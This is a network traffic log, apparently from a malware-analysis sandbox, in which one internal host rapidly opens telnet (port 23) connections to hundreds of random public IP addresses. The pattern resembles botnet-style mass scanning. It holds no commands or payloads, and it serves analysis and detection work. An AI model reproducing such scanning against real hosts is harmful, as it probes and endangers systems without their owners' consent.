Oct 14, 2024 17:34:14.801755905 CEST	29508	23	192.168.2.14	118.83.38.107
Oct 14, 2024 17:34:14.801755905 CEST	29508	23	192.168.2.14	122.140.241.15
Oct 14, 2024 17:34:14.801757097 CEST	29508	23	192.168.2.14	27.252.210.245
Oct 14, 2024 17:34:14.801759005 CEST	29508	23	192.168.2.14	176.66.10.13
Oct 14, 2024 17:34:14.801759005 CEST	29508	23	192.168.2.14	198.101.129.191
Oct 14, 2024 17:34:14.801765919 CEST	29508	23	192.168.2.14	32.10.190.67
Oct 14, 2024 17:34:14.801770926 CEST	29508	23	192.168.2.14	157.87.68.244
Oct 14, 2024 17:34:14.801774979 CEST	29508	23	192.168.2.14	154.231.176.160
Oct 14, 2024 17:34:14.801778078 CEST	29508	23	192.168.2.14	191.120.30.80
Oct 14, 2024 17:34:14.801778078 CEST	29508	23	192.168.2.14	62.174.233.249
Oct 14, 2024 17:34:14.801788092 CEST	29508	23	192.168.2.14	82.146.241.122
Oct 14, 2024 17:34:14.801790953 CEST	29508	23	192.168.2.14	163.33.144.91
Oct 14, 2024 17:34:14.801790953 CEST	29508	23	192.168.2.14	161.87.8.186
Oct 14, 2024 17:34:14.801806927 CEST	29508	23	192.168.2.14	51.119.165.16
Oct 14, 2024 17:34:14.801808119 CEST	29508	23	192.168.2.14	96.204.102.77
Oct 14, 2024 17:34:14.801809072 CEST	29508	23	192.168.2.14	101.71.65.247
Oct 14, 2024 17:34:14.801815033 CEST	29508	23	192.168.2.14	173.58.39.100
Oct 14, 2024 17:34:14.801830053 CEST	29508	23	192.168.2.14	188.96.146.99
Oct 14, 2024 17:34:14.801835060 CEST	29508	23	192.168.2.14	142.142.1.67
Oct 14, 2024 17:34:14.801836967 CEST	29508	23	192.168.2.14	218.51.170.70
Oct 14, 2024 17:34:14.801841021 CEST	29508	23	192.168.2.14	134.83.88.214
Oct 14, 2024 17:34:14.801841021 CEST	29508	23	192.168.2.14	31.181.97.30
Oct 14, 2024 17:34:14.801846027 CEST	29508	23	192.168.2.14	209.160.159.223
Oct 14, 2024 17:34:14.801846027 CEST	29508	23	192.168.2.14	140.151.245.122
Oct 14, 2024 17:34:14.801850080 CEST	29508	23	192.168.2.14	205.36.2.133
Oct 14, 2024 17:34:14.801851034 CEST	29508	23	192.168.2.14	181.164.26.235
Oct 14, 2024 17:34:14.801866055 CEST	29508	23	192.168.2.14	202.6.76.44
Oct 14, 2024 17:34:14.801867008 CEST	29508	23	192.168.2.14	204.223.195.39
Oct 14, 2024 17:34:14.801866055 CEST	29508	23	192.168.2.14	74.79.208.59
Oct 14, 2024 17:34:14.801867962 CEST	29508	23	192.168.2.14	185.75.229.223
Oct 14, 2024 17:34:14.801867962 CEST	29508	23	192.168.2.14	51.124.109.16
Oct 14, 2024 17:34:14.801872969 CEST	29508	23	192.168.2.14	132.94.48.218
Oct 14, 2024 17:34:14.801882982 CEST	29508	23	192.168.2.14	117.164.51.254
Oct 14, 2024 17:34:14.801886082 CEST	29508	23	192.168.2.14	151.163.227.62
Oct 14, 2024 17:34:14.801889896 CEST	29508	23	192.168.2.14	37.157.98.189
Oct 14, 2024 17:34:14.801894903 CEST	29508	23	192.168.2.14	181.6.157.52
Oct 14, 2024 17:34:14.801894903 CEST	29508	23	192.168.2.14	149.29.183.204
Oct 14, 2024 17:34:14.801906109 CEST	29508	23	192.168.2.14	121.158.96.125
Oct 14, 2024 17:34:14.801906109 CEST	29508	23	192.168.2.14	156.244.24.192
Oct 14, 2024 17:34:14.801918983 CEST	29508	23	192.168.2.14	61.75.87.47
Oct 14, 2024 17:34:14.801918983 CEST	29508	23	192.168.2.14	96.243.233.113
Oct 14, 2024 17:34:14.801923037 CEST	29508	23	192.168.2.14	178.210.58.157
Oct 14, 2024 17:34:14.801923037 CEST	29508	23	192.168.2.14	135.209.208.9
Oct 14, 2024 17:34:14.801923990 CEST	29508	23	192.168.2.14	178.218.20.154
Oct 14, 2024 17:34:14.801923990 CEST	29508	23	192.168.2.14	44.234.15.69
Oct 14, 2024 17:34:14.801932096 CEST	29508	23	192.168.2.14	108.193.78.85
Oct 14, 2024 17:34:14.801938057 CEST	29508	23	192.168.2.14	83.179.69.133
Oct 14, 2024 17:34:14.801943064 CEST	29508	23	192.168.2.14	150.131.52.223
Oct 14, 2024 17:34:14.801947117 CEST	29508	23	192.168.2.14	145.116.182.178
Oct 14, 2024 17:34:14.801950932 CEST	29508	23	192.168.2.14	133.56.86.195
Oct 14, 2024 17:34:14.801956892 CEST	29508	23	192.168.2.14	58.190.132.34
Oct 14, 2024 17:34:14.801956892 CEST	29508	23	192.168.2.14	162.71.27.6
Oct 14, 2024 17:34:14.801966906 CEST	29508	23	192.168.2.14	9.229.93.137
Oct 14, 2024 17:34:14.801966906 CEST	29508	23	192.168.2.14	49.167.128.23
Oct 14, 2024 17:34:14.801976919 CEST	29508	23	192.168.2.14	36.249.175.24
Oct 14, 2024 17:34:14.801984072 CEST	29508	23	192.168.2.14	65.236.208.119
Oct 14, 2024 17:34:14.801986933 CEST	29508	23	192.168.2.14	135.47.24.57
Oct 14, 2024 17:34:14.801995039 CEST	29508	23	192.168.2.14	151.24.128.143
Oct 14, 2024 17:34:14.801995039 CEST	29508	23	192.168.2.14	189.87.156.83
Oct 14, 2024 17:34:14.801995993 CEST	29508	23	192.168.2.14	200.148.16.131
Oct 14, 2024 17:34:14.802001953 CEST	29508	23	192.168.2.14	207.116.198.122
Oct 14, 2024 17:34:14.802004099 CEST	29508	23	192.168.2.14	192.120.166.97
Oct 14, 2024 17:34:14.802010059 CEST	29508	23	192.168.2.14	153.108.67.79
Oct 14, 2024 17:34:14.802017927 CEST	29508	23	192.168.2.14	121.85.19.195
Oct 14, 2024 17:34:14.802017927 CEST	29508	23	192.168.2.14	178.149.252.3
Oct 14, 2024 17:34:14.802026987 CEST	29508	23	192.168.2.14	43.129.11.203
Oct 14, 2024 17:34:14.802028894 CEST	29508	23	192.168.2.14	207.66.238.209
Oct 14, 2024 17:34:14.802030087 CEST	29508	23	192.168.2.14	116.21.207.155
Oct 14, 2024 17:34:14.802038908 CEST	29508	23	192.168.2.14	187.160.212.132
Oct 14, 2024 17:34:14.802047968 CEST	29508	23	192.168.2.14	175.6.38.185
Oct 14, 2024 17:34:14.802052021 CEST	29508	23	192.168.2.14	219.61.10.172
Oct 14, 2024 17:34:14.802052975 CEST	29508	23	192.168.2.14	174.194.227.125
Oct 14, 2024 17:34:14.802062988 CEST	29508	23	192.168.2.14	191.248.203.90
Oct 14, 2024 17:34:14.802063942 CEST	29508	23	192.168.2.14	91.124.145.0
Oct 14, 2024 17:34:14.802064896 CEST	29508	23	192.168.2.14	170.179.247.35
Oct 14, 2024 17:34:14.802074909 CEST	29508	23	192.168.2.14	148.108.109.173
Oct 14, 2024 17:34:14.802078962 CEST	29508	23	192.168.2.14	34.197.232.234
Oct 14, 2024 17:34:14.802078962 CEST	29508	23	192.168.2.14	9.10.103.80
Oct 14, 2024 17:34:14.802084923 CEST	29508	23	192.168.2.14	213.181.108.205
Oct 14, 2024 17:34:14.802084923 CEST	29508	23	192.168.2.14	99.56.187.122
Oct 14, 2024 17:34:14.802086115 CEST	29508	23	192.168.2.14	82.87.243.181
Oct 14, 2024 17:34:14.802088976 CEST	29508	23	192.168.2.14	27.179.233.45
Oct 14, 2024 17:34:14.802090883 CEST	29508	23	192.168.2.14	70.36.158.211
Oct 14, 2024 17:34:14.802105904 CEST	29508	23	192.168.2.14	157.209.112.170
Oct 14, 2024 17:34:14.802109003 CEST	29508	23	192.168.2.14	34.10.101.89
Oct 14, 2024 17:34:14.802110910 CEST	29508	23	192.168.2.14	8.126.253.142
Oct 14, 2024 17:34:14.802110910 CEST	29508	23	192.168.2.14	123.249.133.177
Oct 14, 2024 17:34:14.802114010 CEST	29508	23	192.168.2.14	45.182.223.36
Oct 14, 2024 17:34:14.802118063 CEST	29508	23	192.168.2.14	213.60.246.184
Oct 14, 2024 17:34:14.802122116 CEST	29508	23	192.168.2.14	164.11.250.184
Oct 14, 2024 17:34:14.802129984 CEST	29508	23	192.168.2.14	219.57.209.76
Oct 14, 2024 17:34:14.802141905 CEST	29508	23	192.168.2.14	137.123.235.73
Oct 14, 2024 17:34:14.802143097 CEST	29508	23	192.168.2.14	49.73.80.140
Oct 14, 2024 17:34:14.802145004 CEST	29508	23	192.168.2.14	157.19.206.152
Oct 14, 2024 17:34:14.802145958 CEST	29508	23	192.168.2.14	62.96.14.176
Oct 14, 2024 17:34:14.802149057 CEST	29508	23	192.168.2.14	34.205.234.0
Oct 14, 2024 17:34:14.802158117 CEST	29508	23	192.168.2.14	187.89.126.61
Oct 14, 2024 17:34:14.802158117 CEST	29508	23	192.168.2.14	181.221.190.138
Oct 14, 2024 17:34:14.802158117 CEST	29508	23	192.168.2.14	124.223.30.56
Oct 14, 2024 17:34:14.802158117 CEST	29508	23	192.168.2.14	70.93.118.159
Oct 14, 2024 17:34:14.802164078 CEST	29508	23	192.168.2.14	80.116.198.99
Oct 14, 2024 17:34:14.802171946 CEST	29508	23	192.168.2.14	32.219.165.141
Oct 14, 2024 17:34:14.802176952 CEST	29508	23	192.168.2.14	78.23.149.155
Oct 14, 2024 17:34:14.802177906 CEST	29508	23	192.168.2.14	148.231.180.220
Oct 14, 2024 17:34:14.802181959 CEST	29508	23	192.168.2.14	181.63.191.184
Oct 14, 2024 17:34:14.802181959 CEST	29508	23	192.168.2.14	144.11.140.210
Oct 14, 2024 17:34:14.802191973 CEST	29508	23	192.168.2.14	78.190.14.66
Oct 14, 2024 17:34:14.802213907 CEST	29508	23	192.168.2.14	71.224.35.69
Oct 14, 2024 17:34:14.802229881 CEST	29508	23	192.168.2.14	219.102.222.231
Oct 14, 2024 17:34:14.802229881 CEST	29508	23	192.168.2.14	176.13.179.6
Oct 14, 2024 17:34:14.802232027 CEST	29508	23	192.168.2.14	121.100.202.113
Oct 14, 2024 17:34:14.802232027 CEST	29508	23	192.168.2.14	152.67.119.222
Oct 14, 2024 17:34:14.802233934 CEST	29508	23	192.168.2.14	156.18.35.19
Oct 14, 2024 17:34:14.802233934 CEST	29508	23	192.168.2.14	199.226.218.90
Oct 14, 2024 17:34:14.802236080 CEST	29508	23	192.168.2.14	89.24.224.125
Oct 14, 2024 17:34:14.802233934 CEST	29508	23	192.168.2.14	145.0.159.116
Oct 14, 2024 17:34:14.802237034 CEST	29508	23	192.168.2.14	49.215.186.29
Oct 14, 2024 17:34:14.802237034 CEST	29508	23	192.168.2.14	114.82.179.202
Oct 14, 2024 17:34:14.802237988 CEST	29508	23	192.168.2.14	76.214.69.194
Oct 14, 2024 17:34:14.802237988 CEST	29508	23	192.168.2.14	138.46.71.135
Oct 14, 2024 17:34:14.802237988 CEST	29508	23	192.168.2.14	170.160.13.134
Oct 14, 2024 17:34:14.802237988 CEST	29508	23	192.168.2.14	181.190.107.110
Oct 14, 2024 17:34:14.802241087 CEST	29508	23	192.168.2.14	71.11.145.132
Oct 14, 2024 17:34:14.802242994 CEST	29508	23	192.168.2.14	48.226.68.213
Oct 14, 2024 17:34:14.802241087 CEST	29508	23	192.168.2.14	217.83.200.19
Oct 14, 2024 17:34:14.802241087 CEST	29508	23	192.168.2.14	46.34.23.115
Oct 14, 2024 17:34:14.802242041 CEST	29508	23	192.168.2.14	74.173.148.164
Oct 14, 2024 17:34:14.802248955 CEST	29508	23	192.168.2.14	35.105.93.75
Oct 14, 2024 17:34:14.802248955 CEST	29508	23	192.168.2.14	193.187.158.169
Oct 14, 2024 17:34:14.802248955 CEST	29508	23	192.168.2.14	175.235.177.157
Oct 14, 2024 17:34:14.802248955 CEST	29508	23	192.168.2.14	199.185.13.175
Oct 14, 2024 17:34:14.802253962 CEST	29508	23	192.168.2.14	159.3.107.206
Oct 14, 2024 17:34:14.802254915 CEST	29508	23	192.168.2.14	118.58.138.86
Oct 14, 2024 17:34:14.802254915 CEST	29508	23	192.168.2.14	14.197.48.47
Oct 14, 2024 17:34:14.802263021 CEST	29508	23	192.168.2.14	27.128.33.31
Oct 14, 2024 17:34:14.802270889 CEST	29508	23	192.168.2.14	37.191.115.63
Oct 14, 2024 17:34:14.802270889 CEST	29508	23	192.168.2.14	63.77.202.211
Oct 14, 2024 17:34:14.802270889 CEST	29508	23	192.168.2.14	130.71.179.73
Oct 14, 2024 17:34:14.802270889 CEST	29508	23	192.168.2.14	1.156.229.171
Oct 14, 2024 17:34:14.802273989 CEST	29508	23	192.168.2.14	51.176.164.247
Oct 14, 2024 17:34:14.802274942 CEST	29508	23	192.168.2.14	210.9.139.193
Oct 14, 2024 17:34:14.802293062 CEST	29508	23	192.168.2.14	86.52.166.80
Oct 14, 2024 17:34:14.802298069 CEST	29508	23	192.168.2.14	144.206.104.141
Oct 14, 2024 17:34:14.802298069 CEST	29508	23	192.168.2.14	208.207.81.246
Oct 14, 2024 17:34:14.802298069 CEST	29508	23	192.168.2.14	43.14.209.192
Oct 14, 2024 17:34:14.802301884 CEST	29508	23	192.168.2.14	49.43.16.61
Oct 14, 2024 17:34:14.802301884 CEST	29508	23	192.168.2.14	175.59.220.11
Oct 14, 2024 17:34:14.802305937 CEST	29508	23	192.168.2.14	181.117.249.228
Oct 14, 2024 17:34:14.802308083 CEST	29508	23	192.168.2.14	119.223.223.192
Oct 14, 2024 17:34:14.802309036 CEST	29508	23	192.168.2.14	9.118.2.197
Oct 14, 2024 17:34:14.802309036 CEST	29508	23	192.168.2.14	1.157.91.146
Oct 14, 2024 17:34:14.802319050 CEST	29508	23	192.168.2.14	74.116.68.119
Oct 14, 2024 17:34:14.802323103 CEST	29508	23	192.168.2.14	69.224.175.193
Oct 14, 2024 17:34:14.802323103 CEST	29508	23	192.168.2.14	64.212.180.141
Oct 14, 2024 17:34:14.802325010 CEST	29508	23	192.168.2.14	53.102.52.50
Oct 14, 2024 17:34:14.802336931 CEST	29508	23	192.168.2.14	201.172.97.200
Oct 14, 2024 17:34:14.802336931 CEST	29508	23	192.168.2.14	128.191.103.18
Oct 14, 2024 17:34:14.802345037 CEST	29508	23	192.168.2.14	129.89.60.14
Oct 14, 2024 17:34:14.802347898 CEST	29508	23	192.168.2.14	149.204.1.82
Oct 14, 2024 17:34:14.802347898 CEST	29508	23	192.168.2.14	79.105.233.203
Oct 14, 2024 17:34:14.802347898 CEST	29508	23	192.168.2.14	143.36.59.220
Oct 14, 2024 17:34:14.802356005 CEST	29508	23	192.168.2.14	20.99.113.207
Oct 14, 2024 17:34:14.802357912 CEST	29508	23	192.168.2.14	154.235.212.198
Oct 14, 2024 17:34:14.802393913 CEST	29508	23	192.168.2.14	200.157.205.17
Oct 14, 2024 17:34:14.802396059 CEST	29508	23	192.168.2.14	218.35.187.10
Oct 14, 2024 17:34:14.802396059 CEST	29508	23	192.168.2.14	25.91.153.156
Oct 14, 2024 17:34:14.802402020 CEST	29508	23	192.168.2.14	88.174.78.128
Oct 14, 2024 17:34:14.802402020 CEST	29508	23	192.168.2.14	172.93.245.133
Oct 14, 2024 17:34:14.802402020 CEST	29508	23	192.168.2.14	99.197.87.102
Oct 14, 2024 17:34:14.802407026 CEST	29508	23	192.168.2.14	182.71.176.235
Oct 14, 2024 17:34:14.802407980 CEST	29508	23	192.168.2.14	170.154.94.134
Oct 14, 2024 17:34:14.802408934 CEST	29508	23	192.168.2.14	153.251.221.190
Oct 14, 2024 17:34:14.802408934 CEST	29508	23	192.168.2.14	220.19.118.165
Oct 14, 2024 17:34:14.802409887 CEST	29508	23	192.168.2.14	175.215.150.61
Oct 14, 2024 17:34:14.802409887 CEST	29508	23	192.168.2.14	184.204.82.244
Oct 14, 2024 17:34:14.802424908 CEST	29508	23	192.168.2.14	148.0.186.88
Oct 14, 2024 17:34:14.802424908 CEST	29508	23	192.168.2.14	185.19.74.44
Oct 14, 2024 17:34:14.802424908 CEST	29508	23	192.168.2.14	82.246.100.154
Oct 14, 2024 17:34:14.802428007 CEST	29508	23	192.168.2.14	74.99.139.15
Oct 14, 2024 17:34:14.802427053 CEST	29508	23	192.168.2.14	180.129.242.172
Oct 14, 2024 17:34:14.802427053 CEST	29508	23	192.168.2.14	176.34.5.85
Oct 14, 2024 17:34:14.802427053 CEST	29508	23	192.168.2.14	195.199.76.208
Oct 14, 2024 17:34:14.802433014 CEST	29508	23	192.168.2.14	69.28.172.113
Oct 14, 2024 17:34:14.802427053 CEST	29508	23	192.168.2.14	101.72.158.154
Oct 14, 2024 17:34:14.802427053 CEST	29508	23	192.168.2.14	170.232.20.87
Oct 14, 2024 17:34:14.802428007 CEST	29508	23	192.168.2.14	100.43.197.10
Oct 14, 2024 17:34:14.802427053 CEST	29508	23	192.168.2.14	135.203.71.197
Oct 14, 2024 17:34:14.802428007 CEST	29508	23	192.168.2.14	133.217.176.140
Oct 14, 2024 17:34:14.802433014 CEST	29508	23	192.168.2.14	204.162.188.120
Oct 14, 2024 17:34:14.802437067 CEST	29508	23	192.168.2.14	213.65.23.113
Oct 14, 2024 17:34:14.802437067 CEST	29508	23	192.168.2.14	157.67.32.190
Oct 14, 2024 17:34:14.802427053 CEST	29508	23	192.168.2.14	192.222.104.161
Oct 14, 2024 17:34:14.802449942 CEST	29508	23	192.168.2.14	79.253.3.27
Oct 14, 2024 17:34:14.802449942 CEST	29508	23	192.168.2.14	49.197.187.152
Oct 14, 2024 17:34:14.802437067 CEST	29508	23	192.168.2.14	147.245.87.184
Oct 14, 2024 17:34:14.802449942 CEST	29508	23	192.168.2.14	137.16.228.71
Oct 14, 2024 17:34:14.802427053 CEST	29508	23	192.168.2.14	102.54.52.31
Oct 14, 2024 17:34:14.802437067 CEST	29508	23	192.168.2.14	9.238.50.0
Oct 14, 2024 17:34:14.802449942 CEST	29508	23	192.168.2.14	31.55.199.140
Oct 14, 2024 17:34:14.802427053 CEST	29508	23	192.168.2.14	146.216.39.255
Oct 14, 2024 17:34:14.802455902 CEST	29508	23	192.168.2.14	78.249.66.192
Oct 14, 2024 17:34:14.802428007 CEST	29508	23	192.168.2.14	63.204.50.135
Oct 14, 2024 17:34:14.802459002 CEST	29508	23	192.168.2.14	1.190.33.167
Oct 14, 2024 17:34:14.802459002 CEST	29508	23	192.168.2.14	133.7.247.157
Oct 14, 2024 17:34:14.802459002 CEST	29508	23	192.168.2.14	187.106.198.184
Oct 14, 2024 17:34:14.802459002 CEST	29508	23	192.168.2.14	95.109.143.253
Oct 14, 2024 17:34:14.802459955 CEST	29508	23	192.168.2.14	108.253.71.91
Oct 14, 2024 17:34:14.802459955 CEST	29508	23	192.168.2.14	186.114.86.125
Oct 14, 2024 17:34:14.802463055 CEST	29508	23	192.168.2.14	72.225.121.88
Oct 14, 2024 17:34:14.802463055 CEST	29508	23	192.168.2.14	153.141.0.55
Oct 14, 2024 17:34:14.802463055 CEST	29508	23	192.168.2.14	52.164.35.183
Oct 14, 2024 17:34:14.802469015 CEST	29508	23	192.168.2.14	189.60.70.109
Oct 14, 2024 17:34:14.802480936 CEST	29508	23	192.168.2.14	163.49.116.140
Oct 14, 2024 17:34:14.802481890 CEST	29508	23	192.168.2.14	176.162.181.205
Oct 14, 2024 17:34:14.802484035 CEST	29508	23	192.168.2.14	82.59.106.33
Oct 14, 2024 17:34:14.802485943 CEST	29508	23	192.168.2.14	87.106.81.170
Oct 14, 2024 17:34:14.802489996 CEST	29508	23	192.168.2.14	199.233.207.13
Oct 14, 2024 17:34:14.802495956 CEST	29508	23	192.168.2.14	155.143.84.107
Oct 14, 2024 17:34:14.802500963 CEST	29508	23	192.168.2.14	207.31.32.236
Oct 14, 2024 17:34:14.802505016 CEST	29508	23	192.168.2.14	162.48.145.225
Oct 14, 2024 17:34:14.802510023 CEST	29508	23	192.168.2.14	89.59.11.182
Oct 14, 2024 17:34:14.802510023 CEST	29508	23	192.168.2.14	87.46.180.47
Oct 14, 2024 17:34:14.802519083 CEST	29508	23	192.168.2.14	119.105.9.72
Oct 14, 2024 17:34:14.805783033 CEST	23	38570	60.132.195.87	192.168.2.14
Oct 14, 2024 17:34:14.807097912 CEST	23	39620	60.132.195.87	192.168.2.14
Oct 14, 2024 17:34:14.807158947 CEST	23	29508	149.226.14.3	192.168.2.14
Oct 14, 2024 17:34:14.807159901 CEST	39620	23	192.168.2.14	60.132.195.87
Oct 14, 2024 17:34:14.807188034 CEST	23	29508	66.48.253.165	192.168.2.14
Oct 14, 2024 17:34:14.807214975 CEST	29508	23	192.168.2.14	149.226.14.3
Oct 14, 2024 17:34:14.807219028 CEST	23	29508	44.70.80.249	192.168.2.14
Oct 14, 2024 17:34:14.807229996 CEST	29508	23	192.168.2.14	66.48.253.165
Oct 14, 2024 17:34:14.807250977 CEST	29508	23	192.168.2.14	44.70.80.249
Oct 14, 2024 17:34:14.807269096 CEST	23	29508	48.115.4.91	192.168.2.14
Oct 14, 2024 17:34:14.807302952 CEST	23	29508	178.11.40.217	192.168.2.14
Oct 14, 2024 17:34:14.807313919 CEST	29508	23	192.168.2.14	48.115.4.91
Oct 14, 2024 17:34:14.807331085 CEST	23	29508	31.75.145.255	192.168.2.14
Oct 14, 2024 17:34:14.807358980 CEST	23	29508	94.26.58.41	192.168.2.14
Oct 14, 2024 17:34:14.807375908 CEST	29508	23	192.168.2.14	31.75.145.255
Oct 14, 2024 17:34:14.807379007 CEST	29508	23	192.168.2.14	178.11.40.217
Oct 14, 2024 17:34:14.807404995 CEST	29508	23	192.168.2.14	94.26.58.41
Oct 14, 2024 17:34:14.807404995 CEST	23	29508	47.207.11.52	192.168.2.14
Oct 14, 2024 17:34:14.807450056 CEST	29508	23	192.168.2.14	47.207.11.52
Oct 14, 2024 17:34:14.807450056 CEST	23	29508	208.91.164.211	192.168.2.14
Oct 14, 2024 17:34:14.807478905 CEST	23	29508	186.28.125.122	192.168.2.14
Oct 14, 2024 17:34:14.807492971 CEST	29508	23	192.168.2.14	208.91.164.211
Oct 14, 2024 17:34:14.807506084 CEST	23	29508	192.230.84.69	192.168.2.14
Oct 14, 2024 17:34:14.807514906 CEST	29508	23	192.168.2.14	186.28.125.122
Oct 14, 2024 17:34:14.807533979 CEST	23	29508	87.44.95.88	192.168.2.14
Oct 14, 2024 17:34:14.807552099 CEST	29508	23	192.168.2.14	192.230.84.69
Oct 14, 2024 17:34:14.807560921 CEST	23	29508	83.19.181.244	192.168.2.14
Oct 14, 2024 17:34:14.807581902 CEST	29508	23	192.168.2.14	87.44.95.88
Oct 14, 2024 17:34:14.807590008 CEST	23	29508	117.10.14.190	192.168.2.14
Oct 14, 2024 17:34:14.807601929 CEST	29508	23	192.168.2.14	83.19.181.244
Oct 14, 2024 17:34:14.807634115 CEST	29508	23	192.168.2.14	117.10.14.190
Oct 14, 2024 17:34:14.807636023 CEST	23	29508	43.248.210.211	192.168.2.14
Oct 14, 2024 17:34:14.807662964 CEST	23	29508	64.78.164.18	192.168.2.14
Oct 14, 2024 17:34:14.807676077 CEST	29508	23	192.168.2.14	43.248.210.211
Oct 14, 2024 17:34:14.807691097 CEST	23	29508	2.53.227.59	192.168.2.14
Oct 14, 2024 17:34:14.807713985 CEST	29508	23	192.168.2.14	64.78.164.18
Oct 14, 2024 17:34:14.807743073 CEST	29508	23	192.168.2.14	2.53.227.59
Oct 14, 2024 17:34:14.808573008 CEST	23	29508	4.234.109.88	192.168.2.14
Oct 14, 2024 17:34:14.808603048 CEST	23	29508	179.218.58.71	192.168.2.14
Oct 14, 2024 17:34:14.808623075 CEST	29508	23	192.168.2.14	4.234.109.88
Oct 14, 2024 17:34:14.808631897 CEST	23	29508	136.8.247.151	192.168.2.14
Oct 14, 2024 17:34:14.808645010 CEST	29508	23	192.168.2.14	179.218.58.71
Oct 14, 2024 17:34:14.808682919 CEST	23	29508	93.126.214.198	192.168.2.14
Oct 14, 2024 17:34:14.808696032 CEST	29508	23	192.168.2.14	136.8.247.151
Oct 14, 2024 17:34:14.808712006 CEST	23	29508	97.120.10.228	192.168.2.14
Oct 14, 2024 17:34:14.808742046 CEST	23	29508	62.22.83.194	192.168.2.14
Oct 14, 2024 17:34:14.808752060 CEST	29508	23	192.168.2.14	93.126.214.198
Oct 14, 2024 17:34:14.808759928 CEST	29508	23	192.168.2.14	97.120.10.228
Oct 14, 2024 17:34:14.808770895 CEST	23	29508	14.166.132.243	192.168.2.14
Oct 14, 2024 17:34:14.808789968 CEST	29508	23	192.168.2.14	62.22.83.194
Oct 14, 2024 17:34:14.808799028 CEST	23	29508	152.117.110.141	192.168.2.14
Oct 14, 2024 17:34:14.808828115 CEST	23	29508	132.225.126.105	192.168.2.14
Oct 14, 2024 17:34:14.808844090 CEST	29508	23	192.168.2.14	152.117.110.141
Oct 14, 2024 17:34:14.808845043 CEST	29508	23	192.168.2.14	14.166.132.243
Oct 14, 2024 17:34:14.808855057 CEST	23	29508	135.16.252.10	192.168.2.14
Oct 14, 2024 17:34:14.808882952 CEST	23	29508	101.172.229.245	192.168.2.14
Oct 14, 2024 17:34:14.808882952 CEST	29508	23	192.168.2.14	132.225.126.105
Oct 14, 2024 17:34:14.808902979 CEST	29508	23	192.168.2.14	135.16.252.10
Oct 14, 2024 17:34:14.808912039 CEST	23	29508	142.86.14.231	192.168.2.14
Oct 14, 2024 17:34:14.808939934 CEST	23	29508	107.188.109.131	192.168.2.14
Oct 14, 2024 17:34:14.808957100 CEST	29508	23	192.168.2.14	142.86.14.231
Oct 14, 2024 17:34:14.808968067 CEST	23	29508	36.38.214.182	192.168.2.14
Oct 14, 2024 17:34:14.808979988 CEST	29508	23	192.168.2.14	107.188.109.131
Oct 14, 2024 17:34:14.808984995 CEST	29508	23	192.168.2.14	101.172.229.245
Oct 14, 2024 17:34:14.809011936 CEST	29508	23	192.168.2.14	36.38.214.182
Oct 14, 2024 17:34:14.809020996 CEST	23	29508	147.128.51.171	192.168.2.14
Oct 14, 2024 17:34:14.809048891 CEST	23	29508	79.10.203.95	192.168.2.14
Oct 14, 2024 17:34:14.809077024 CEST	23	29508	51.210.74.178	192.168.2.14
Oct 14, 2024 17:34:14.809083939 CEST	29508	23	192.168.2.14	147.128.51.171
Oct 14, 2024 17:34:14.809093952 CEST	29508	23	192.168.2.14	79.10.203.95
Oct 14, 2024 17:34:14.809106112 CEST	23	29508	36.114.104.132	192.168.2.14
Oct 14, 2024 17:34:14.809115887 CEST	29508	23	192.168.2.14	51.210.74.178
Oct 14, 2024 17:34:14.809135914 CEST	23	29508	42.137.187.44	192.168.2.14
Oct 14, 2024 17:34:14.809149981 CEST	29508	23	192.168.2.14	36.114.104.132
Oct 14, 2024 17:34:14.809164047 CEST	23	29508	25.121.180.75	192.168.2.14
Oct 14, 2024 17:34:14.809175968 CEST	29508	23	192.168.2.14	42.137.187.44
Oct 14, 2024 17:34:14.809191942 CEST	23	29508	18.11.117.53	192.168.2.14
Oct 14, 2024 17:34:14.809211969 CEST	29508	23	192.168.2.14	25.121.180.75
Oct 14, 2024 17:34:14.809220076 CEST	23	29508	188.76.235.72	192.168.2.14
Oct 14, 2024 17:34:14.809241056 CEST	29508	23	192.168.2.14	18.11.117.53
Oct 14, 2024 17:34:14.809264898 CEST	29508	23	192.168.2.14	188.76.235.72
Oct 14, 2024 17:34:14.809267044 CEST	23	29508	53.255.60.182	192.168.2.14
Oct 14, 2024 17:34:14.809295893 CEST	23	29508	198.191.168.230	192.168.2.14
Oct 14, 2024 17:34:14.809314013 CEST	29508	23	192.168.2.14	53.255.60.182
Oct 14, 2024 17:34:14.809324026 CEST	23	29508	114.77.154.245	192.168.2.14
Oct 14, 2024 17:34:14.809343100 CEST	29508	23	192.168.2.14	198.191.168.230
Oct 14, 2024 17:34:14.809351921 CEST	23	29508	177.11.127.209	192.168.2.14
Oct 14, 2024 17:34:14.809382915 CEST	23	29508	144.139.45.229	192.168.2.14
Oct 14, 2024 17:34:14.809397936 CEST	29508	23	192.168.2.14	177.11.127.209
Oct 14, 2024 17:34:14.809401035 CEST	29508	23	192.168.2.14	114.77.154.245
Oct 14, 2024 17:34:14.809410095 CEST	23	29508	112.125.52.132	192.168.2.14
Oct 14, 2024 17:34:14.809426069 CEST	29508	23	192.168.2.14	144.139.45.229
Oct 14, 2024 17:34:14.809439898 CEST	23	29508	156.76.41.119	192.168.2.14
Oct 14, 2024 17:34:14.809468031 CEST	23	29508	222.100.93.122	192.168.2.14
Oct 14, 2024 17:34:14.809478045 CEST	29508	23	192.168.2.14	112.125.52.132
Oct 14, 2024 17:34:14.809482098 CEST	29508	23	192.168.2.14	156.76.41.119
Oct 14, 2024 17:34:14.809494019 CEST	23	29508	133.243.224.68	192.168.2.14
Oct 14, 2024 17:34:14.809509993 CEST	29508	23	192.168.2.14	222.100.93.122
Oct 14, 2024 17:34:14.809521914 CEST	23	29508	25.43.117.14	192.168.2.14
Oct 14, 2024 17:34:14.809547901 CEST	29508	23	192.168.2.14	133.243.224.68
Oct 14, 2024 17:34:14.809549093 CEST	23	29508	199.141.172.123	192.168.2.14
Oct 14, 2024 17:34:14.809564114 CEST	29508	23	192.168.2.14	25.43.117.14
Oct 14, 2024 17:34:14.809578896 CEST	23	29508	146.198.70.177	192.168.2.14
Oct 14, 2024 17:34:14.809596062 CEST	29508	23	192.168.2.14	199.141.172.123
Oct 14, 2024 17:34:14.809606075 CEST	23	29508	150.186.243.240	192.168.2.14
Oct 14, 2024 17:34:14.809626102 CEST	29508	23	192.168.2.14	146.198.70.177
Oct 14, 2024 17:34:14.809637070 CEST	23	29508	216.115.27.214	192.168.2.14
Oct 14, 2024 17:34:14.809645891 CEST	29508	23	192.168.2.14	150.186.243.240
Oct 14, 2024 17:34:14.809681892 CEST	29508	23	192.168.2.14	216.115.27.214
Oct 14, 2024 17:34:14.817167997 CEST	23	38602	125.9.76.138	192.168.2.14
